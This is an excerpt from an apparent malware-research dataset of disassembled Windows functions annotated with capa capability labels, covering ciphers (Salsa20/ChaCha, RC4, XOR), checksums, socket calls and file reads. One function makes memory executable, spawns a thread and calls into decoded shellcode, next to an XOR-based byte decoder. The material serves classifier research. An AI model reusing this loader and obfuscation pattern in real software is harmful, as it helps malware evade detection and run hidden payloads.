joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5a03e0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, str.expand_16_byte_k
movzx ecx, byte [esi + 3]
lea edx, [esi + 0x10]
shl ecx, 8
movzx eax, byte [esi + 2]
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x454], ecx
movzx ecx, byte [esi + 7]
movzx eax, byte [esi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x458], ecx
movzx ecx, byte [esi + 0xb]
movzx eax, byte [esi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 8]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x45c], ecx
movzx ecx, byte [esi + 0xf]
movzx eax, byte [esi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xc]
shl ecx, 8
or ecx, eax
cmp dword [ebp + 0x10], 0x100
mov dword [ebx + 0x460], ecx
mov ecx, 0x660748
cmovne edx, esi
cmove edi, ecx
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x464], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x468], ecx
movzx ecx, byte [edx + 0xb]
movzx eax, byte [edx + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 8]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x46c], ecx
movzx ecx, byte [edx + 0xf]
movzx eax, byte [edx + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0xc]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x470], ecx
movsx ecx, byte [edi + 3]
movsx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x444], ecx
movsx ecx, byte [edi + 7]
movsx eax, byte [edi + 6]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 5]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x448], ecx
movsx ecx, byte [edi + 0xb]
movsx eax, byte [edi + 0xa]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 9]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 8]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x44c], ecx
movsx ecx, byte [edi + 0xf]
movsx eax, byte [edi + 0xe]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 0xd]
shl ecx, 8
or ecx, eax
movsx eax, byte [edi + 0xc]
shl ecx, 8
pop edi
or ecx, eax
pop esi
mov dword [ebx + 0x450], ecx
pop ebx
pop ebp
ret 0x10
Function at 0x5a05d0
Capabilities:
Encrypt data using salsa20 or chacha
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
test ebx, ebx
je 0x5a07be
mov esi, dword [ebp + 8]
lea ecx, [esi + 0x14]
call fcn.00402fb0
cmp eax, 0x20
jne 0x5a07be
lea eax, [esi + 0x34]
mov ecx, eax
mov dword [ebp + 0xc], eax
call fcn.00402fb0
cmp eax, 0xc
jb 0x5a07be
lea ecx, [esi + 0x14]
call fcn.00438ea0
mov ecx, dword [ebp + 0xc]
mov esi, eax
call fcn.00438ea0
mov dword [ebx], 0x61707865
mov edi, eax
mov dword [ebx + 4], 0x3320646e
mov dword [ebx + 8], 0x79622d32
mov dword [ebx + 0xc], 0x6b206574
movzx edx, byte [esi + 3]
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 1]
shl edx, 8
or edx, ecx
shl edx, 8
or edx, eax
movzx eax, byte [esi]
shl edx, 8
or edx, eax
mov dword [ebx + 0x10], edx
movzx ecx, byte [esi + 7]
movzx eax, byte [esi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x14], ecx
movzx ecx, byte [esi + 0xb]
movzx eax, byte [esi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 8]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x18], ecx
movzx ecx, byte [esi + 0xf]
movzx eax, byte [esi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x1c], ecx
movzx ecx, byte [esi + 0x13]
movzx eax, byte [esi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x20], ecx
movzx ecx, byte [esi + 0x17]
movzx eax, byte [esi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x24], ecx
movzx ecx, byte [esi + 0x1b]
movzx eax, byte [esi + 0x1a]
shl ecx, 8
or ecx, eax
shl ecx, 8
movzx eax, byte [esi + 0x19]
or ecx, eax
movzx eax, byte [esi + 0x18]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x28], ecx
movzx ecx, byte [esi + 0x1f]
movzx eax, byte [esi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x2c], ecx
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x34], ecx
movzx ecx, byte [edi + 7]
movzx eax, byte [edi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 4]
shl ecx, 8
or ecx, eax
mov dword [ebx + 0x38], ecx
movzx ecx, byte [edi + 0xb]
movzx eax, byte [edi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 8]
shl ecx, 8
pop edi
or ecx, eax
mov al, 1
pop esi
mov dword [ebx + 0x3c], ecx
pop ebx
pop ebp
ret 8
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
Function at 0x5a33c0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x692c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0x10]
lea ebx, [esi + 8]
mov dword [eax], 0xffffffff
push edi
mov eax, dword [esi + 0x80c]
xor edi, edi
mov dword [ebp - 0x14], ecx
mov dword [ebx], eax
test eax, eax
je 0x5a3415
lea edx, [esi + 0xc]
nop dword [eax + eax]
mov eax, dword [edx + 0x804]
lea edx, [edx + 4]
mov dword [edx - 4], eax
inc edi
cmp edi, dword [esi + 0x80c]
jb 0x5a3400
cmp dword [ebx], 0
jne 0x5a3439
mov eax, dword [ecx]
push str.No_sockets_exists_for_fdSetSelect.
call dword [eax + 0x14]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005b34c8
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp + 8]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [ebp - 0xc], edx
sub ecx, eax
imul eax, ecx, 0x3e8
cmp byte [ebp + 0xc], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
je 0x5a346b
push 0
push ebx
jmp 0x5a346e
push ebx
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x5a34ae
mov ecx, dword [ebp - 0x14]
push str.select_system_call_failed.
mov eax, dword [ecx]
call dword [eax + 0x14]
mov ecx, dword [esi + 4]
mov dword [ebx], 0
mov dword [esi + 0x80c], 0
test ecx, ecx
je 0x5a3424
call fcn.004e3e50
jmp 0x5a3424
cmp dword [ebx], 0
jne 0x5a34d1
mov ecx, dword [esi + 4]
mov dword [ebx], 0
mov dword [esi + 0x80c], 0
test ecx, ecx
je 0x5a3541
call fcn.004e3e50
jmp 0x5a3541
call fcn.004e3e60
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x5a3424
mov eax, dword [ebx]
xor ebx, ebx
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x5a3531
nop
mov edx, dword [esi + 0x80c]
xor eax, eax
test edx, edx
jle 0x5a352b
mov edi, dword [esi + ebx*4 + 0xc]
lea ecx, [esi + 0x810]
cmp edi, dword [ecx]
je 0x5a3517
inc eax
add ecx, 4
cmp eax, edx
jl 0x5a3506
mov edi, dword [ebp - 0x10]
jmp 0x5a352b
mov ecx, dword [esi + 4]
push eax
call fcn.004e3f70
mov edi, dword [ebp - 0x10]
mov ecx, edi
push eax
call fcn.004e3e10
inc ebx
cmp ebx, dword [ebp - 0x14]
jl 0x5a34f0
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x5a353e
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [esi + 4], edi
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005b34c8
mov esp, ebp
pop ebp
ret 0x10
Function at 0x5aa690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
call fcn.00438ea0
mov edi, eax
lea ecx, [esi + 0x20]
mov dword [ebp - 4], edi
call fcn.00438ea0
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov ebx, dword [ecx + edx*4]
lea edx, [ecx + edx*4]
xor ebx, dword [edi]
xor edi, edi
mov esi, dword [ebp - 4]
mov ecx, dword [edx + 4]
add esi, 8
mov dword [ebp + 8], edx
mov dword [ebp + 0xc], ecx
nop dword [eax]
mov edx, ebx
lea esi, [esi + 8]
and edx, 0xff0000
mov ecx, ebx
or edx, 0x1000000
shr ecx, 0x18
shr edx, 0x10
add edi, 2
mov edx, dword [eax + edx*4]
add edx, dword [eax + ecx*4]
mov ecx, ebx
and ecx, 0xff00
or ecx, 0x20000
shr ecx, 8
xor edx, dword [eax + ecx*4]
movzx ecx, bl
or ecx, 0x300
add edx, dword [eax + ecx*4]
xor edx, dword [esi - 0xc]
mov ecx, dword [ebp + 0xc]
xor ecx, edx
mov edx, ecx
mov dword [ebp + 0xc], ecx
and edx, 0xff0000
shr ecx, 0x18
or edx, 0x1000000
shr edx, 0x10
mov edx, dword [eax + edx*4]
add edx, dword [eax + ecx*4]
mov ecx, dword [ebp + 0xc]
and ecx, 0xff00
or ecx, 0x20000
shr ecx, 8
xor edx, dword [eax + ecx*4]
mov ecx, dword [ebp + 0xc]
movzx ecx, cl
or ecx, 0x300
add edx, dword [eax + ecx*4]
xor edx, dword [esi - 8]
xor ebx, edx
cmp edi, 0xe
jbe 0x5aa6d0
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
pop edi
pop esi
mov eax, dword [eax + 0x44]
xor eax, dword [ebp + 0xc]
mov dword [ecx + 4], ebx
mov dword [ecx], eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x5aaa10
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], 0
push esi
push edi
mov dword [ebp - 0x14], ebx
lea ecx, [ebx + 4]
mov dword [ebp - 0x1c], 0
call fcn.00402fb0
cdq
lea ecx, [ebx + 0x20]
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 4], eax
call fcn.00402fb0
cdq
lea ecx, [ebx + 4]
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 0x10], eax
call fcn.00438ea0
lea ecx, [ebx + 0x20]
mov dword [ebp - 0xc], eax
call fcn.00438ea0
cmp dword [ebp - 4], 0
mov edi, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], 0
jle 0x5aab05
mov esi, dword [ebp + 0xc]
xor edx, edx
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp + 8]
lea eax, [edx + 1]
movzx ecx, byte [edx + edi]
cdq
idiv esi
shl ecx, 8
movzx esi, byte [edx + edi]
lea eax, [edx + 1]
cdq
or esi, ecx
idiv dword [ebp + 0xc]
shl esi, 8
movzx edi, byte [edx + edi]
lea eax, [edx + 1]
cdq
or edi, esi
mov esi, dword [ebp + 0xc]
idiv esi
mov eax, dword [ebp + 8]
shl edi, 8
movzx ecx, byte [edx + eax]
lea eax, [edx + 1]
cdq
or ecx, edi
idiv esi
mov eax, dword [ebp - 8]
xor dword [ebx + eax*4], ecx
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 4]
jl 0x5aaa85
mov ebx, dword [ebp - 0x14]
xor esi, esi
mov edi, dword [ebp - 0xc]
nop dword [eax]
push 0
lea eax, [ebp - 0x20]
mov ecx, ebx
push eax
call fcn.005aa690
mov eax, dword [ebp - 0x20]
mov dword [edi + esi*4], eax
mov eax, dword [ebp - 0x1c]
mov dword [edi + esi*4 + 4], eax
add esi, 2
cmp esi, dword [ebp - 4]
jl 0x5aaae0
mov edi, dword [ebp - 0x18]
xor esi, esi
cmp dword [ebp - 0x10], esi
jle 0x5aab32
nop dword [eax]
push 0
lea eax, [ebp - 0x20]
mov ecx, ebx
push eax
call fcn.005aa690
mov eax, dword [ebp - 0x20]
mov dword [edi + esi*4], eax
mov eax, dword [ebp - 0x1c]
mov dword [edi + esi*4 + 4], eax
add esi, 2
cmp esi, dword [ebp - 0x10]
jl 0x5aab10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x5ad330
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 4], esi
mov ecx, dword [esi + 0x18]
mov ebx, ecx
cmp ecx, dword [ebp + 0xc]
cmova ebx, dword [ebp + 0xc]
mov dword [ebp - 8], ebx
test ebx, ebx
jne 0x5ad35a
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
sub ecx, ebx
cmp byte [esi + 0xc], 0
mov dword [esi + 0x18], ecx
je 0x5ad47f
push edi
mov edi, dword [esi + 0x14]
mov esi, dword [esi + 0x10]
movzx ecx, si
shr esi, 0x10
test edi, edi
jne 0x5ad382
lea esi, [edi + 1]
jmp 0x5ad473
mov edx, 0x15b0
cmp ebx, edx
cmovb edx, ebx
sub ebx, edx
mov dword [ebp + 0xc], ebx
cmp edx, 0x10
jb 0x5ad431
mov ebx, edx
shr ebx, 4
nop
movzx eax, byte [edi]
sub edx, 0x10
add ecx, eax
movzx eax, byte [edi + 1]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 2]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 3]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 4]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 5]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 6]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 7]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 8]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 9]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xa]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xb]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xc]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xd]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xe]
add esi, ecx
add ecx, eax
movzx eax, byte [edi + 0xf]
add esi, ecx
add edi, 0x10
add ecx, eax
add esi, ecx
sub ebx, 1
jne 0x5ad3a0
mov ebx, dword [ebp + 0xc]
test edx, edx
je 0x5ad442
movzx eax, byte [edi]
inc edi
add ecx, eax
add esi, ecx
sub edx, 1
jne 0x5ad435
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
mov eax, 0x80078071
mul esi
shr edx, 0xf
imul eax, edx, 0xffff000f
add esi, eax
test ebx, ebx
jne 0x5ad382
shl esi, 0x10
or esi, ecx
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 8]
pop edi
mov dword [eax + 0x10], esi
mov esi, eax
push ebx
push dword [esi + 0x14]
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memcpy
add dword [esi + 0x14], ebx
add esp, 0xc
add dword [esi + 0x1c], ebx
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x5b32b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d10a0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x692c00]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea ecx, [edi + 0x10]
mov dword [edi], vtable.BufferedSource.0
mov dword [edi + 8], 0xfa0
mov dword [edi + 0xc], 0
call fcn.00434d00
push 0x1388
lea ecx, [edi + 0x10]
mov dword [ebp - 4], 0
mov dword [edi + 0x2c], 0
mov byte [edi + 0x30], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov byte [edi + 0x40], 0
call fcn.00438990
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x5b4562
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x5b45a1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x5b45a1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x5b45a1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x5b45a1
cmp dword [ecx + 0x74], 0xe
jbe 0x5b45a1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x402a7e
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x402acb
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x58
push 0x41f390
push 0x47bcb0
mov byte [edi + esi], al
call fcn.00401374
push eax
call fcn.004019f8
mov al, byte [edi + esi]
add esp, 0xc
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x402a8c
pop edi
pop esi
ret

Function at 0x402f68
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x47ab00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x41f3b0
lea ecx, [ebp - 0x1c]
call fcn.00401af2
push 0xc
call fcn.004065e4
xor esi, esi
pop ecx
test eax, eax
je 0x402fa1
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00401b4b
jmp 0x402fa3
mov eax, esi
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x47a640
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
call dword [sym.imp.KERNEL32.DLL_FreeConsole]
push esi
push esi
push esi
push 0x402a6c
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
call fcn.00402a52
mov edx, 0x47a640
add edx, 0x188
mov esi, str.y8
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00402918
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00406622
leave
ret

Function at 0x4071ff
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x40723e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40723e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40723e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40723e
cmp dword [ecx + 0x74], 0xe
jbe 0x40723e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x411ef9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x422500
push 0x4224f8
push 0x420d94
push 0x1e
call fcn.00411d66
mov esi, eax
add esp, 0x10
test esi, esi
je 0x411f2d
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f140]
call esi
jmp 0x411f33
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x414426
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004140c8

Function at 0x414431
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414257

Function at 0x41482b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00407370
mov eax, dword [0x47ab00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004132bd
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41486d
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4149c9
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041dd40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47c648]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004159fb
mov ecx, dword [esi*4 + 0x47c648]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4149c2
cmp eax, dword [edi + ecx + 0x24]
jne 0x4149c2
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4149c2
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004159fb
add esp, 0x14
test edx, edx
jl 0x4149c2
jg 0x414938
test eax, eax
jb 0x4149c2
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4149c2
jl 0x414952
cmp dword [ebp - 0x1008], eax
ja 0x4149c2
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x414970
test ebx, ebx
je 0x4149a9
cmp ecx, edi
jae 0x4149a9
mov al, byte [ecx]
cmp al, 0xd
jne 0x41498a
lea eax, [edi - 1]
cmp ecx, eax
jae 0x414996
cmp byte [ecx + 1], 0xa
jne 0x414996
inc ecx
jmp 0x414996
movzx eax, al
movsx eax, byte [eax + 0x47add0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x414970
cmp edx, ebx
jne 0x414970
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4149c7
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00406622
leave
ret
Function at 0x414e99
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47c648]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x414ed9
cmp byte [ebx], 0xa
jne 0x414ed9
or byte [eax + edi + 0x28], 4
jmp 0x414ede
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x414fdc
mov al, byte [edx]
cmp al, 0x1a
je 0x414fbe
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x414f0d
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x414f32
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x414f3c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x414eef
jmp 0x414fdc
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x414fb9
cmp dword [ebp - 0xc], 0
je 0x414fb9
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x47c648]
test byte [eax + edi + 0x28], 0x48
je 0x414f93
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x414f7e
mov byte [esi], dl
jmp 0x414f8f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47c648]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x414fdc
cmp byte [ebp - 1], 0xa
jne 0x414fa2
cmp esi, ebx
jne 0x414fa2
mov byte [esi], 0xa
jmp 0x414fdb
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00415a19
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x414fdc
mov byte [esi], 0xd
jmp 0x414fdb
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x47c648]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x414fd8
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x414fdc
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret